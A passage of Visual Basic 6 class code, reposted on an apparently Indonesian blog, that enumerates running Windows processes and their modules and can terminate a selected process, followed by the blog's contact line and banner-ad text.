            GoTo End_Function
        End If
    End If
   
    ' Finally, open the defined process
    p_lProcess = OpenProcess(PROCESS_ALL_ACCESS, 0&, lProcessID)
   
    If (p_lProcess) Then
        ' Attempt to terminate the process
        TerminateProcess = (TerminateProcess32(p_lProcess, 0&) <> 0)
        CloseHandle p_lProcess
       
        If (Not TerminateProcess) Then
            If (m_bErrorOnFail) Then
                Err.Raise Err.LastDllError, , ErrorDescription(Err.LastDllError)
            End If
        End If
       
        If (GetQueueStatus(QS_ALLEVENTS)) Then ' check for events
            DoEvents
        End If
    End If
   
    If (m_lWinPlatform = VER_PLATFORM_WIN32_NT) Then
        ' Restore original privilege
        p_tPrivileges.Privileges(ANYSIZE_ARRAY).Attributes = 0
        AdjustTokenPrivileges p_lToken, 0&, p_tPrivileges, 0&, 0&, 0&
       
End_Function:
        If (p_lToken) Then
            CloseHandle p_lToken
        End If
    End If
End Function

' //-- Private Procedures --//

Private Sub DeepProcessScan(ID As Long, Name As String)
    If (m_bCancel Or m_lWinPlatform <> VER_PLATFORM_WIN32_NT) Then
        If (Not m_bCancel) Then
            m_lNumProcess = m_lNumProcess + 1
            RaiseEvent CurrentProcess(Name, "", ID, 1)
        End If
       
        Exit Sub ' Abort the whole scanning process
    End If
   
    Dim i                       As Long
    Dim p_lModuleCount          As Long
    Dim p_lModules(1 To 1024)   As Long
    Dim p_lNeeded               As Long
    Dim p_lProcess              As Long
    Dim p_lRet                  As Long
    Dim p_sBaseName             As String
    Dim p_sBuffer               As String
    Dim p_sProcessPath          As String
   
    p_lProcess = OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, 0&, ID)
   
    If (p_lProcess) Then
        p_lRet = EnumProcessModules(p_lProcess, p_lModules(1), 1024 * 4, p_lNeeded)
       
        If (p_lRet) Then
            p_lModuleCount = p_lNeeded \ 4
           
            For i = 1 To p_lModuleCount
                If (GetQueueStatus(QS_ALLEVENTS)) Then ' check for events
                    DoEvents ' processes system events
                End If
               
                If (m_bPaused) Then
                    m_bScanning = False
                    While (m_bPaused)
                        DoEvents ' Don't execute next instructions until resumed
                    Wend
                    m_bScanning = True
                End If
               
                If (m_bCancel) Then
                    Exit For ' attempt to abort the whole scanning process
                End If
               
                p_sBuffer = String$(MAX_MODULE_NAME32, 0)
                p_lRet = GetModuleBaseName(p_lProcess, p_lModules(i), p_sBuffer, MAX_MODULE_NAME32)
               
                If (p_lRet > 0) Then
                    p_sBaseName = Left$(p_sBuffer, p_lRet)
                End If
               
                p_sBuffer = String$(MAX_MODULE_NAME32, 0)
                p_lRet = GetModuleFileNameEx(p_lProcess, p_lModules(i), p_sBuffer, MAX_MODULE_NAME32)
               
                If (p_lRet > 0) Then
                    p_sProcessPath = Left$(p_sBuffer, p_lRet)
                End If
               
                ValidatePath p_sProcessPath
               
                If (i = 1) Then
                    If (Len(p_sProcessPath) = 0) Then
                        ' Consider as a system process if file path is empty
                        p_sProcessPath = "SYSTEM"
                       
                        If (Not m_bSystemProc) Then
                            Exit For ' Excluding system processes
                        End If
                    End If
                   
                    m_lNumProcess = m_lNumProcess + 1
                    RaiseEvent CurrentProcess(p_sBaseName, p_sProcessPath, ID, p_lModuleCount)
                   
                    If (Not m_bProcModules) Or (p_lModuleCount = 0) Then
                        Exit For ' Dont scan preceding process modules
                    End If
                Else
                    RaiseEvent CurrentModule(Name, ID, p_sBaseName, p_sProcessPath)
                End If
            Next
           
            CloseHandle p_lProcess
            Exit Sub
        Else
            If (Len(Name) = 0) And (ID) Then
                Name = "System" ' Assume this is a system process
            End If
        End If
       
        CloseHandle p_lProcess
    End If
   
    If (m_bSystemProc = True) Then
        If (Len(Name) = 0) And (ID) Then
            Name = "[System Process]" ' a.k.a "System Idle Process"
        End If
       
        m_lNumProcess = m_lNumProcess + 1
        RaiseEvent CurrentProcess(Name, "SYSTEM", ID, 1)
    End If
End Sub

Private Function ErrorDescription(nError As Long) As String
    Dim p_lLen As Long
    Dim p_sBuffer As String * MAX_DESCRIPTION
   
    p_lLen = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, _
                           ByVal 0&, _
                           nError, _
                           0&, _
                           p_sBuffer, _
                           MAX_DESCRIPTION, _
                           0&)
    If (p_lLen > 0) Then
        ErrorDescription = Left$(p_sBuffer, p_lLen)
    End If
End Function

Private Sub ScanForProcesses()
    Dim p_eProcessEntry As PROCESSENTRY32
    Dim p_lNeeded       As Long
    Dim p_lProcess      As Long
    Dim p_lProcesses()  As Long
    Dim p_lProcessID    As Long
    Dim p_lSnapshot     As Long
    Dim p_sExeFile      As String
   
    ' Windows 2000/ME/XP or later
    If (m_lWinPlatform = VER_PLATFORM_WIN32_NT) And (Not m_bOldMethod) Then
        ReDim p_lProcesses(1 To 1024) As Long
       
        If (EnumProcesses(p_lProcesses(1), 1024 * 4, p_lNeeded)) Then
            p_lNeeded = p_lNeeded \ 4
           
            For p_lProcess = 1 To p_lNeeded
                If (m_bCancel) Then
                    Exit For
                End If
               
                DeepProcessScan p_lProcesses(p_lProcess), ""
            Next
           
            Exit Sub
        Else
            ' Raise an error
            Err.Raise Err.LastDllError, , ErrorDescription(Err.LastDllError)
            ' Then attempt to enumerate processes using the other way below
        End If
    End If
   
    ' Windows 95/98 (Old Method)
    p_lSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)
   
    If (p_lSnapshot) Then
        p_eProcessEntry.dwSize = Len(p_eProcessEntry)
        p_lProcess = Process32First(p_lSnapshot, p_eProcessEntry)
       
        Do While (p_lProcess) ' iterate through all processes
            If (GetQueueStatus(QS_ALLEVENTS)) Then ' check for events
                DoEvents ' processes system events
            End If
           
            If (m_bPaused) Then
                m_bScanning = False
                While (m_bPaused)
                    DoEvents ' Don't execute next instructions until resumed
                Wend
                m_bScanning = True
            End If
           
            If (m_bCancel) Then
                Exit Do ' abort the whole scanning process
            End If
           
            p_lProcessID = p_eProcessEntry.th32ProcessID
            m_lProcessID = p_lProcessID
           
            p_sExeFile = p_eProcessEntry.szExeFile
            p_sExeFile = Left$(p_sExeFile, lstrlen(p_sExeFile))
           
            ' We need to get process name from path, because process name
            ' from PROCESSENTRY32 type is not complete for long filenames.
            DeepProcessScan p_lProcessID, p_sExeFile
Next_Process:
            p_eProcessEntry.szExeFile = String$(MAX_PATH, 0)
            p_lProcess = Process32Next(p_lSnapshot, p_eProcessEntry)
        Loop
    End If
End Sub

Private Sub ValidatePath(ByRef Path As String)
     ' UNC File names
    If (InStr(1, Path, "\?\UNC\", vbTextCompare)) Then
        Path = Replace$(Path, "\?\UNC\", "", 1, 1)
    End If
   
    ' \\?\ tells Windows to turn off File parsing
    If (InStr(1, Path, "\??\", vbTextCompare)) Then
        Path = Replace$(Path, "\??\", "", 1, 1)
    End If
   
     ' Only the first instances will be replaced
    If (InStr(1, Path, "\SystemRoot\", vbTextCompare)) Then
        Path = Replace$(Path, "\SystemRoot\", WindowsDirectory, 1, 1)
    End If
End Sub

Private Function WindowsDirectory()
    Dim p_lLen      As Long
    Dim p_sBuffer   As String * MAX_PATH
   
    p_lLen = GetWindowsDirectory(p_sBuffer, MAX_PATH)
    If (p_lLen > 0) Then
        WindowsDirectory = Left$(p_sBuffer, p_lLen)
    End If
   
    If (WindowsDirectory Like "*\") Then
        ' Just do nothing
    Else
        WindowsDirectory = WindowsDirectory & "\"
    End If
End Function

Private Function WindowsPlatform() As Long
    Dim p_tOSInfo As OSVERSIONINFO
   
    p_tOSInfo.dwOSVersionInfoSize = Len(p_tOSInfo)
    GetVersionEx p_tOSInfo
    WindowsPlatform = p_tOSInfo.dwPlatformId
End Function

' //-- Class Procedures --//

Private Sub Class_Initialize()
    ' unless these properties are set, these would be their default values
    m_bSystemProc = False
    m_lProcessID = -1
    m_lWinPlatform = WindowsPlatform
End Sub

Private Sub Class_Terminate()
    If (m_bScanning Or m_bPaused) Then
        CancelScanning
    End If
End Sub

' Created by Noel A. Dacara | Copyright © 2003-2005 Davao City, Philippines

'######Selesai Disini######


Coba Jalankan Jika Berhasil Anda Sudah MEnjadi Programer
Tapi Jika Gagal Bisa Tanyakan Ke Email Saya
Email : dhani.hacker86@gmail.com


 
U Have Website We have Cash
If you have website put our banner on it, make money for each visitor
homezwork.com

Instructions

Wheldthacker. Diberdayakan oleh Blogger.

Translate

Music